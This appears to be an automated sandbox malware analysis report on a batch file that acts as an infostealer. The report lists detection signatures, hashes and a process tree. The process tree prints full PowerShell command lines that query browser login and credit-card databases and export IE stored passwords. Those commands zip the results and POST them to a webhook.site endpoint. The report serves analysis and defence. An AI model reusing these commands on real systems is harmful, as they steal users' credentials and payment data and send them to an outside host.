Analysis

  • max time kernel
    149s
  • max time network
    93s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 15:01

General

  • Target
    deepseek_batch_20260504_e656a9.bat
  • Size 3KB
  • Sample260504-sec6vaet4t
  • SHA256 5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Delays execution with timeout.exe 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260504_e656a9.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4220
    • C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:3424
    • C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4164
    • C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:2720
    • C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $out=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_login') { $q='select origin_url, username_value, password_value from logins'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $out+='URL: '+$r[0]+' User: '+$r[1]+' Pass: '+[System.Text.Encoding]::UTF8.GetString($r[2])+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $out"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $crd=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_web') { $q='select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $crd+='Card: '+$r[0]+' Exp: '+$r[1]+'/'+$r[2]+' Enc: '+$r[3]+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $crd"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2104
    • C:\Windows\system32\reg.exe
      reg export "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" "C:\Users\Admin\AppData\Local\Temp\wllytmp\ie_pass.reg"
      2⤵
        PID:3100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip' -Force; $b=[Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip')); Invoke-RestMethod -Uri 'https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf' -Method Post -Body $b"
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4892
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:4112
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:3564

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 8b6ca8bf09c1583242fa8350b59ac96eb335a7d5d4b494bd7aede04fd717c490
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5dc8fc0a20cc76fa41d3b0dadce5d9728760332e16786836bfc6a8f4f5942583
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 9c09d21f4ff540d0638f44d01239ca3ea91ef7fcbcfc83c15b89e0f2a38eed4a
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_2lt024k1.cwx.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2lt024k1.cwx.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1684-10-0x000001E4C1050000-0x000001E4C1212000-memory.dmp

          memory/1684-0-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

          memory/1684-13-0x000001E4A8430000-0x000001E4A843C000-memory.dmp

          memory/1684-15-0x000001E4A8590000-0x000001E4A85A2000-memory.dmp

          memory/1684-14-0x000001E4A84C0000-0x000001E4A856F000-memory.dmp

          memory/1684-9-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

          memory/1684-2-0x000001E4C0890000-0x000001E4C08B2000-memory.dmp

          memory/1684-1-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

          memory/2104-27-0x0000021DFC650000-0x0000021DFC662000-memory.dmp

          memory/2104-26-0x0000021DFC450000-0x0000021DFC4FF000-memory.dmp

          memory/2104-25-0x0000021DE2760000-0x0000021DE276C000-memory.dmp

          memory/4892-41-0x00000195E96C0000-0x00000195E96DC000-memory.dmp

          memory/4892-42-0x00000195E9910000-0x00000195E99C3000-memory.dmp

          memory/4892-43-0x00000195E96E0000-0x00000195E96EA000-memory.dmp

          memory/4892-46-0x00000195E91F0000-0x00000195E929F000-memory.dmp

          memory/4892-47-0x00000195E95B0000-0x00000195E95C2000-memory.dmp

          memory/4892-45-0x00000195E8E70000-0x00000195E8E7C000-memory.dmp